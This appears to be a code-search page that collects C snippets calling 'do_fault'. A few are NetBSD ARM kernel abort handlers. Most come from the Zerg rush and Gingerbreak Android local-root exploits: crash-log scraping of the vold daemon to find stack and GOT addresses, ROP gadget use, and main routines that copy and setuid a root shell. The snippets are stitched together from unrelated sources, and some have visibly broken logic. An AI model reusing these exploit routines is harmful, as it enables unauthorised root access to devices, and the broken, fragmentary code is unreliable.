Пример #1
0
void
data_abort_handler(struct trapframe *tf)
{
	vaddr_t pc, va;
	vsize_t asize;
	struct proc *p;
	struct lwp *l;
	vm_prot_t atype;
	bool usrmode, twopages;
	struct vm_map *map;

	/*
	 * Data aborts in kernel mode are possible (copyout etc), so
	 * we hope the compiler (or programmer) has ensured that
	 * R14_svc gets saved.
	 *
	 * We may need to fix up an STM or LDM instruction.  This
	 * involves seeing if the base was being written back, and if
	 * so resetting it (by counting the number of registers being
	 * transferred) before retrying (ARM 2 ds pp 10 & 33).
	 */

	/* Enable interrupts if they were enabled before the trap. */
	if ((tf->tf_r15 & R15_IRQ_DISABLE) == 0)
		int_on();
	uvmexp.traps++;
	l = curlwp;
	if (l == NULL)
		l = &lwp0;
	p = l->l_proc;
	if ((tf->tf_r15 & R15_MODE) == R15_MODE_USR) {
		l->l_addr->u_pcb.pcb_tf = tf;
		LWP_CACHE_CREDS(l, p);
	}
	pc = tf->tf_r15 & R15_PC;
	data_abort_fixup(tf);
	va = data_abort_address(tf, &asize);
	atype = data_abort_atype(tf);
	usrmode = data_abort_usrmode(tf);
	twopages = (trunc_page(va) != round_page(va + asize) - PAGE_SIZE);
	if (!usrmode && va >= VM_MIN_KERNEL_ADDRESS)
		map = kernel_map;
	else
		map = &p->p_vmspace->vm_map;
	do_fault(tf, l, map, va, atype);
	if (twopages)
		do_fault(tf, l, map, va + asize - 4, atype);

	if ((tf->tf_r15 & R15_MODE) == R15_MODE_USR)
		userret(l);
}
Пример #2
0
static uint32_t find_index()
{
	uint32_t min = 0, max = vold.got_start, fault_addr = 0, idx = 0;
	char buf[1024], *ptr = NULL;
	FILE *f = NULL;
	long pos = 0;
	printf("[*] find_index system\n");
//	system("/system/bin/logcat -c");
	printf("[*] find_index unlink\n");
	unlink(crashlog);
	printf("[*] end find_index unlink\n");
//	if ((logcat_pid = fork()) == 0) {
//		printf("[*] logcat_pid = fork()");
//		char *a[] = {"/system/bin/logcat",  "-f", crashlog, NULL};
//		execve(*a, a, environ);
//		exit(1);
//	}
//	sleep(3);
	printf("[*] find_index idx\n");
	idx = scale*0x1000/4;
	printf("[*] find_index idx %04d \n",idx);
	for(;;) {
		printf("[*] do_fault\n");
		if (do_fault(idx, 1) < 0)
			continue;
		/* Give logcat time to write to file
		 */
		sleep(3);
//		if ((f = fopen(crashlog, "r")) == NULL)
//			die("[-] Unable to open crashlog file");
		fseek(f, pos, SEEK_SET);
		do {
			memset(buf, 0, sizeof(buf));
			if (!fgets(buf, sizeof(buf), f))
				break;
			if ((ptr = strstr(buf, "fault addr ")) != NULL) {
				ptr += 11;
				fault_addr = (uint32_t)strtoul(ptr, NULL, 16);
				printf("[*] vold: %04d idx: %d fault addr: 0x%08x\n", vold.pid, -idx, fault_addr);
			}
		} while (!feof(f));
		pos = ftell(f);
		fclose(f);

		if (fault_addr > min && fault_addr < max) {
			printf("[+] fault address in range (0x%08x,idx=%d)\n", fault_addr, -idx);
			break;
		}
		idx += 0x1000/4;
	}

	// Honeycomb needs scaling by 10
	idx = (fault_addr + 4*idx - vold.got_start)/4;
	if (scale > 1)
		idx = scale*(fault_addr + 4*idx/scale - vold.got_start)/4;

	printf("[+] Calculated idx: %d\n", -idx);
	return idx;
}
Пример #3
0
void delay_then_fault(int count)
{
	int i;
	for (i=count; i>0; i--) {
		printf("%d", i);
		printf(i>1 ? "," : "...\n");
		fflush(stdout);
		sleep(1);
	}
	fault_log("I was minding my own business, when...");
	do_fault();
}
Пример #4
0
static uint32_t find_stack_addr()
{
	uint32_t fault_addr = 0;
	char buf[1024], *ptr = NULL;
	FILE *f = NULL;
	long pos = 0;
	uint32_t sp=0, over=0;

	system("/system/bin/logcat -c");
	unlink(crashlog);

	if ((logcat_pid = fork()) == 0) {
		char *a[] = {"/system/bin/logcat",  "-f", crashlog, NULL};
		execve(*a, a, environ);
		exit(1);
	}
	sleep(3);

	if (do_fault() < 0)
		die("[-] Zerglings did not cause crash");
	/* Give logcat time to write to file
	 */
	sleep(3);
	if ((f = fopen(crashlog, "r")) == NULL)
		die("[-] Zerglings did not leave stuff at all");
	fseek(f, pos, SEEK_SET);
	do {
		memset(buf, 0, sizeof(buf));
		if (!fgets(buf, sizeof(buf), f))
			break;
		if ((ptr = strstr(buf, "  4752455a")) != NULL && stack_addr == 0x41414141) {
			ptr -= 8;
			stack_addr = (uint32_t)strtoul(ptr, NULL, 16);
		}
		else if ((ptr = strstr(buf, "  5245564f")) != NULL && !over) {
			ptr -= 8;
			over = (uint32_t)strtoul(ptr, NULL, 16);
		}
		else if ((ptr = strstr(buf, "  sp ")) != NULL && !sp) {
			ptr += 5;
			sp = (uint32_t)strtoul(ptr, NULL, 16);
		}
	} while (!feof(f));
	pos = ftell(f);
	fclose(f);

	if(over && sp)
		jumpsz = over - sp;
	
	return stack_addr;
}
Пример #5
0
static uint32_t checkcrash()
{
  uint32_t fault_addr = 0;
  char buf[1024], *ptr = NULL;
  FILE *f = NULL;
  long pos = 0;
  int ret=0;

  system("/system/bin/logcat -c");
  unlink(crashlog);

  if ((logcat_pid = fork()) == 0) {
    char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
    execve(*a, a, environ);
    exit(1);
  }
  sleep(3);

  if (do_fault() < 0)
    die("[-] Unable to crash vold!\n");

  /* Give logcat time to write to file
   */
  sleep(3);
  if ((f = fopen(crashlog, "r")) == NULL)
    die("[-] Unable to open log file!\n");
  fseek(f, pos, SEEK_SET);
  do {
    memset(buf, 0, sizeof(buf));
    if (!fgets(buf, sizeof(buf), f))
      break;
    if ((ptr = strstr(buf, "  sp ")) != NULL)
      ret = 1;
    if ((ptr = strstr(buf, "  r9 ")) != NULL) {
      ptr += 5;
      r9 = (uint32_t)strtoul(ptr, NULL, 16);
    }
    if ((ptr = strstr(buf, "  10 ")) != NULL) {
      ptr += 5;
      r10 = (uint32_t)strtoul(ptr, NULL, 16);
    }
    if ((ptr = strstr(buf, "  fp ")) != NULL) {
      ptr += 5;
      fp = (uint32_t)strtoul(ptr, NULL, 16);
    }
  } while (!feof(f));
  pos = ftell(f);
  fclose(f);

  return ret;
}
Пример #6
0
void
prefetch_abort_handler(struct trapframe *tf)
{
	vaddr_t pc;
	struct proc *p;
	struct lwp *l;

	/* Enable interrupts if they were enabled before the trap. */
	if ((tf->tf_r15 & R15_IRQ_DISABLE) == 0)
		int_on();

	/*
	 * XXX Not done yet:
	 * Check if the page being requested is already present.  If
	 * so, call the undefined instruction handler instead (ARM3 ds
	 * p15).
	 */

	uvmexp.traps++;
	l = curlwp;
	if (l == NULL)
		l = &lwp0;
	p = l->l_proc;

	if ((tf->tf_r15 & R15_MODE) == R15_MODE_USR) {
		l->l_addr->u_pcb.pcb_tf = tf;
		LWP_CACHE_CREDS(l, p);
	}

	if ((tf->tf_r15 & R15_MODE) != R15_MODE_USR) {
#ifdef DDB
		db_printf("Prefetch abort in kernel mode\n");
		kdb_trap(T_FAULT, tf);
#else
#ifdef DEBUG
		printf("Prefetch abort:\n");
		printregs(tf);
#endif
		panic("prefetch abort in kernel mode");
#endif
	}

	/* User-mode prefetch abort */
	pc = tf->tf_r15 & R15_PC;

	do_fault(tf, l, &p->p_vmspace->vm_map, pc, VM_PROT_EXECUTE);

	userret(l);
}
Пример #7
0
void
prefetch_abort_handler(struct trapframe *tf)
{
	struct lwp * const l = curlwp;
	struct proc * const p = l->l_proc;

	/* Enable interrupts if they were enabled before the trap. */
	if ((tf->tf_r15 & R15_IRQ_DISABLE) == 0)
		int_on();

	/*
	 * XXX Not done yet:
	 * Check if the page being requested is already present.  If
	 * so, call the undefined instruction handler instead (ARM3 ds
	 * p15).
	 */

	curcpu()->ci_data.cpu_ntrap++;

	if (TRAP_USERMODE(tf)) {
		lwp_settrapframe(l, tf);
		LWP_CACHE_CREDS(l, p);
	} else {
#ifdef DDB
		db_printf("Prefetch abort in kernel mode\n");
		kdb_trap(T_FAULT, tf);
#else
#ifdef DEBUG
		printf("Prefetch abort:\n");
		printregs(tf);
#endif
		panic("prefetch abort in kernel mode");
#endif
	}

	/* User-mode prefetch abort */
	vaddr_t pc = tf->tf_r15 & R15_PC;

	do_fault(tf, l, &p->p_vmspace->vm_map, pc, VM_PROT_EXECUTE);

	userret(l);
}
Пример #8
0
void
prefetch_abort_handler(struct trapframe *tf)
{
	vaddr_t pc;
	struct proc *p;

	/* Enable interrupts if they were enabled before the trap. */
	if ((tf->tf_r15 & R15_IRQ_DISABLE) == 0)
		int_on();

	/*
	 * XXX Not done yet:
	 * Check if the page being requested is already present.  If
	 * so, call the undefined instruction handler instead (ARM3 ds
	 * p15).
	 */

	uvmexp.traps++;
	p = curproc;
	if (p == NULL)
		p = &proc0;

	if ((tf->tf_r15 & R15_MODE) == R15_MODE_USR)
		p->p_addr->u_pcb.pcb_tf = tf;

	if ((tf->tf_r15 & R15_MODE) != R15_MODE_USR) {
#ifdef DEBUG
		printf("Prefetch abort:\n");
		printregs(tf);
#endif
		panic("prefetch abort in kernel mode");
	}

	/* User-mode prefetch abort */
	pc = tf->tf_r15 & R15_PC;

	do_fault(tf, p, &p->p_vmspace->vm_map, pc, VM_PROT_EXECUTE);

	userret(p);
}
Пример #9
0
static uint32_t checkcrash()
{
	uint32_t fault_addr = 0;
	char buf[1024], *ptr = NULL;
	FILE *f = NULL;
	long pos = 0;
	uint32_t sp=0, over=0;

	system("/system/bin/logcat -c");
	unlink(crashlog);

	if ((logcat_pid = fork()) == 0) {
		char *a[] = {"/system/bin/logcat",  "-f", crashlog, NULL};
		execve(*a, a, environ);
		exit(1);
	}
	sleep(3);

	if (do_fault() < 0)
		die("[-] Zerglings did not cause crash");
	/* Give logcat time to write to file
	 */
	sleep(3);
	if ((f = fopen(crashlog, "r")) == NULL)
		die("[-] Zerglings did not leave stuff at all");
	fseek(f, pos, SEEK_SET);
	do {
		memset(buf, 0, sizeof(buf));
		if (!fgets(buf, sizeof(buf), f))
			break;
		if ((ptr = strstr(buf, "  sp ")) != NULL && !sp)
			return 1;
	} while (!feof(f));
	pos = ftell(f);
	fclose(f);

	return 0;
}
Пример #10
0
int main(int argc, char **argv, char **env)
{
	uint32_t i = 0, ok = 0;
	char *ash[] = {sh, 0};
	struct stat st;
	char version_release[256];
	int tries=0;

	if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
		do_root();

	printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n");
	printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n");
	printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n");

	if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)
		die("[-] Cannot copy boomsh.");

	chmod(bsh, 0711);

	stat(vold, &st);
	heap_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000;

	__system_property_get("ro.build.version.release", version_release);
	
	if (strstr(version_release, "2.2")) {
		heap_addr += 0x108;
		printf("[+] Found a Froyo ! 0x%08x\n", heap_addr);
	} else if (strstr(version_release, "2.3")) {
		heap_addr += 0x118;
		printf("[+] Found a GingerBread ! 0x%08x\n", heap_addr);
	} else {
		printf("[-] Not a 2.2/2.3 Android ...\n");
		exit(-1);
	}

	system_ptr = (uint32_t) find_symbol("system");

	if (check_addr(system_ptr) == -1) {
		printf("[-] High templars, we're doomed!\n");
		exit(-1);
	}

	tries = 0;
	printf("[*] Scooting ...\n");
	while(buffsz=allbuffsz[tries]) {
		if(checkcrash()) {
			printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz);
			break;
		}
		tries++;
	}

	if(!buffsz) {
		printf("[-] Hellions with BLUE flames !\n");
		exit(-1);
	}

	for (tries = 0; tries < 5; tries++) {
		find_stack_addr();

		if (stack_addr != 0x41414141 && jumpsz) {
			printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz);
			break;
		}

		printf("[*] Trying a new path ...\n");
		switch(tries) {
		case 0:
		case 2:
		case 4:
			heap_addr += 8;
			break;
		case 1:
			heap_addr += 0xb8;
			break;
		case 3:
			heap_addr -= 0x180;
			break;
		default:
			break;
		}
	}
	
	if (stack_addr == 0x41414141 || !jumpsz) {
		printf("[-] Zerglings did not leave interesting stuff\n");
		exit(-1);
	}
	
	if (check_addr(stack_addr) == -1) {
		printf("[-] Siege tanks, we're doomed!\n");
		exit(-1);
	}

	if (jumpsz > 108 + 12) {
		printf("[-] This terran has walled!\n");
		exit(-1);
	}
	
	kill(logcat_pid, SIGKILL);
	unlink(crashlog);

	printf("[*] Researching Metabolic Boost ...\n");
	find_rop_gadgets();
	printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0);

	for(i=0; i<3; i++) {
		do_fault();
		
		stat(sh, &st);
		if ((st.st_mode & 04000) == 04000) {
			printf("\n[+] Rush did it ! It's a GG, man !\n");
			ok = 1;
			break;
		} else {
			printf("\n[-] Bad luck, our rush did not succeed :( (%d/%d)\n", i, 2);
			switch(i) {
			case 0:
				heap_addr += 16;
				break;
			case 1:
				heap_addr -=32;
				break;
			default:
				break;
			}
		}
	}

	if (ok) {
		char qemuprop[1];
		property_get("ro.kernel.qemu",qemuprop,"0");

		if (qemuprop[0]=='1') {
			printf("[+] Killing ADB and restarting as root... enjoy!\n");
			fflush(stdout);
			sleep(1);
			kill(-1,SIGTERM);
		} else {
			printf("[-] Failed to set property to restart adb. Not killing.\n");
		}
	} else {
		printf("Exiting. Try again later.\n");
		fflush(stdout);
		sleep(1);
		kill(-1,SIGTERM);
	}

	return 0;
}
Пример #11
0
int main(int argc, char **argv, char **env)
{
	uint32_t i = 0, ok = 0;
	char *ash[] = {sh, 0};
	struct stat st;
	char version_release[1024];
	int tries=0;

	if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
		do_root();

	printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n");
	printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n");
	printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n");

	if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)
		die("[-] Cannot copy boomsh.");

	chmod(bsh, 0711);

	stat(vold, &st);
	heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000;

	__system_property_get("ro.build.version.release", version_release);

	if (strstr(version_release, "2.2")) {
		heap_offset = 0x108;
		printf("[+] Found a Froyo ! 0x%08x\n", heap_offset);
	} else if (strstr(version_release, "2.3")) {
		heap_offset = 0x118;
		printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset);
	} else {
		printf("[-] Not a 2.2/2.3 Android ...\n");
		exit(-1);
	}

	heap_addr = 0xffffff;

	__system_property_get("ro.build.fingerprint", version_release);
	if(!strncmp(version_release, "samsung", 7)) {
		printf("[+] Found a Samsung, running Samsung mode\n");
		samsung = 1;
	}


	system_ptr = (uint32_t) find_symbol("system");
	libc_base = system_ptr & 0xfff00000;

	if (check_addr(system_ptr) == -1) {
		printf("[-] High templars, we're doomed!\n");
		exit(-1);
	}

	tries = 0;
	printf("[*] Scooting ...\n");
	while(buffsz=allbuffsz[tries]) {
		if(checkcrash()) {
			printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz);
			break;
		}
		tries++;
	}

	if(!buffsz) {
		printf("[-] Hellions with BLUE flames !\n");
		exit(-1);
	}

	for (tries = 0; tries < 2; tries++) {
		heap_oracle();
		find_stack_addr();

		if (stack_addr != 0x41414141 && jumpsz) {
			printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz);
			break;
		}
	}
	
	if (stack_addr == 0x41414141 || !jumpsz) {
		printf("[-] Zerglings did not leave interesting stuff\n");
		exit(-1);
	}
	
	if (check_addr(stack_addr) == -1) {
		if(bad_byte(stack_addr & 0xff)) {
			stack_addr += 4;
			adjust = 4;
			if (check_addr(stack_addr) == -1) {
				printf("[-] Siege tanks, we're doomed!\n");
				exit(-1);
			}
		}
		else {
			printf("[-] Siege tanks, we're doomed!\n");
			exit(-1);
		}
	}

	if (jumpsz > 108 + 12) {
		printf("[-] This terran has walled!\n");
		exit(-1);
	}

	if(check_libc_base()) {
		system_ptr = libc_base + (system_ptr & 0x000fffff);
		printf("[*] Creating more creep 0x%08x ...\n", system_ptr);

		if (check_addr(system_ptr) == -1) {
			printf("[-] High templars, we're doomed!\n");
			exit(-1);
		}
	}

	kill(logcat_pid, SIGKILL);
	unlink(crashlog);

	printf("[*] Researching Metabolic Boost ...\n");
	find_rop_gadgets();
	printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0);

	do_fault();
	stat(sh, &st);
	if ((st.st_mode & 04000) == 04000) {
		char qemuprop[1];

		printf("\n[+] Rush did it ! It's a GG, man !\n");
		property_get("ro.kernel.qemu",qemuprop,"0");

		if (qemuprop[0]=='1') {
			printf("[+] Killing ADB and restarting as root... enjoy!\n");
			fflush(stdout);
			sleep(1);
			kill(-1, SIGTERM);
		} else {
			printf("[-] Failed to set property to restart adb. Not killing.\n");
		}
	} else {
		printf("\n[-] Bad luck, our rush did not succeed :(\n");
		fflush(stdout);
		sleep(1);
		kill(-1, SIGTERM);
	}

	return 0;
}
Пример #12
0
int main(int argc, char **argv, char **env)
{
	uint32_t i = 0, j = 0, idx = 0;
	char *ash[] = {sh, 0};
	struct stat st;
	char build_id[256], version_release[256];

	if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
		do_root();

	printf("\n[**] Gingerbreak/Honeybomb -- android 2.[2,3], 3.0 softbreak\n");
	printf("[**] (C) 2010-2011 The Android Exploid Crew. All rights reserved.\n");
	printf("[**] Kudos to jenzi, the #brownpants-party, the Open Source folks,\n");
	printf("[**] Zynamics for ARM skills and Onkel Budi\n\n");
	printf("[**] donate to [email protected] if you like\n[**] Exploit may take a while!\n\n");

	if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)
		die("[-] Cannot copy boomsh.");

	chmod(bsh, 0711);

	printf("[+] start __system_property_get(\"ro.build.id\", build_id)\n");

	__system_property_get("ro.build.id", build_id);
	printf("[+] [+][+][+][+][+][+][+][+][+][+][+][+][+][+]end __system_property_get(\"ro.build.id\", build_id)\n");
	__system_property_get("ro.build.version.release", version_release);

	printf("[+] [+] [+] [+] [+] [+] [+] [+] [+] [+] [+] end __system_property_get(\"ro.build.version.release\", version_release)\n");

	if (strstr(build_id, "HONEY") || strstr(build_id, "Honey") || strstr(build_id, "honey") ||
	    strstr(version_release, "comb")) {
		printf("[+] Detected honeycomb! Starting honeybomb mode (scale=10).\n");
		scale = 10;
		honeycomb = 1;
	} else if (strstr(build_id, "FR") || strstr(build_id, "Fr") || strstr(build_id, "fr")) {
		printf("[+] Detected Froyo!\n");
		froyo = 1;
	} else
		printf("[+] Plain Gingerbread mode!\n");

	find_vold(&vold);
	find_got("/system/bin/vold");
	find_device();

	printf("[*] vold: %04d GOT start: 0x%08x GOT end: 0x%08x\n", vold.pid, vold.got_start,
	       vold.got_end);
	printf("[*] start find_index\n");
	idx = find_index();
	printf("[*] idx: %04d GOT idx\n", idx);
	kill(logcat_pid, SIGKILL);
	unlink(crashlog);
	printf("[*] _________________end unlink\n");
	for (i = idx; j++ < (vold.got_end - vold.got_start); --i) {
		if (do_fault(i, 0) < 0) {
			++i; --j;
			printf("[-] sendmsg() failed?\n");
			continue;
		}
		printf("[*] vold: %04d idx: %08d\n", vold.pid, -i); fflush(stdout);
		stat(sh, &st);
		if ((st.st_mode & 04000) == 04000) {
			printf("\n\n[!] dance forever my only one\n");
			break;
		}
	}

	/* Last try, sometimes vold cant handle 2 receives in the order
	 * we like by do_fault()
	 */
	if ((st.st_mode & 04000) != 04000) {
		last_try(); last_try();
		stat(sh, &st);
		if ((st.st_mode & 04000) == 04000) {
			printf("\n[+] You are in luck! Last try succeeded!\n");
		} else {
			printf("\n[-] Bad luck. Fixed vold?\n");
			exit(1);
		}
	}

	execve(*ash, ash, env);
	return 0;
}
Пример #13
0
static uint32_t find_stack_addr()
{
  uint32_t fault_addr = 0;
  char buf[1024], *ptr = NULL;
  FILE *f = NULL;
  long pos = 0;
  uint32_t sp=0, over=0;

  system("/system/bin/logcat -c");
  unlink(crashlog);

  if ((logcat_pid = fork()) == 0) {
    char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
    execve(*a, a, environ);
    exit(1);
  }
  sleep(3);

  if (do_fault() < 0)
    die("[-] Unable to crash vold process!\n");
  /* Give logcat time to write to file
   */
  exit(0);

  sleep(3);
  if ((f = fopen(crashlog, "r")) == NULL)
    die("[-] Unable to open log file\n");
  fseek(f, pos, SEEK_SET);
  do {
    memset(buf, 0, sizeof(buf));
    if (!fgets(buf, sizeof(buf), f))
      break;
    if ((ptr = strstr(buf, "  46445341")) != NULL && stack_addr == 0x41414141) {
      ptr -= 8;
      stack_addr = (uint32_t)strtoul(ptr, NULL, 16);
    }
    if ((ptr = strstr(buf, "  5245564f")) != NULL && !over) {
      ptr -= 8;
      over = (uint32_t)strtoul(ptr, NULL, 16);
    }
    if ((ptr = strstr(buf, "  sp ")) != NULL && !sp) {
      ptr += 5;
      sp = (uint32_t)strtoul(ptr, NULL, 16);
    }
    if ((ptr = strstr(buf, "  r9 ")) != NULL) {
      ptr += 5;
      r9 = (uint32_t)strtoul(ptr, NULL, 16);
    }
    if ((ptr = strstr(buf, "  10 ")) != NULL) {
      ptr += 5;
      r10 = (uint32_t)strtoul(ptr, NULL, 16);
    }
    if ((ptr = strstr(buf, "  fp ")) != NULL) {
      ptr += 5;
      fp = (uint32_t)strtoul(ptr, NULL, 16);
    }

  } while (!feof(f));
  pos = ftell(f);
  fclose(f);

  if(over && sp)
    jumpsz = over - sp;

  return stack_addr;
}